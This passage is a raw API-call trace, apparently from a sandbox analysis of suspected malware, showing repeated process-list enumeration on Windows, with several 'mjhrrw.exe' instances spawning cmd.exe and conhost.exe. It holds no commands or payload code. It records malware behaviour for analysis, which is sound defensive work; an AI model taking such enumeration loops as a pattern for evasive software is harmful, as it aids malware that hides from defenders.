cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0274.974] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0274.974] CloseHandle (hObject=0x29c) returned 1 [0274.974] Sleep (dwMilliseconds=0x1f4) [0275.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0275.772] Process32FirstW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.772] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.773] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.773] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.774] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.774] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.774] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.775] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.776] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.776] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0275.777] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0275.777] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.778] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.779] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.779] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.780] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.780] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.781] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.781] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.782] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.782] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.782] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.783] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.783] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.784] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.784] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.785] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.785] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0275.786] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0275.786] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0275.787] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.787] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.788] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.789] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.789] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.790] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.790] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.791] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0275.791] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0275.792] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0275.792] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.793] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0275.793] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.794] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.794] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0275.795] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.795] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.796] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0275.796] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0275.797] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0275.798] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0275.798] Process32NextW (in: hSnapshot=0x2bc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0275.799] CloseHandle (hObject=0x2bc) returned 1 [0275.799] Sleep (dwMilliseconds=0x1f4) [0276.592] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0276.876] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.877] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.877] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.878] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.878] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.879] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.880] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.880] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.881] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.881] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.882] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.882] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.883] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.883] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.884] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.884] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.885] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.885] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.886] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.886] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.887] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.887] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.889] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.889] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.890] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.891] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.891] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.892] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.893] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0276.893] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, 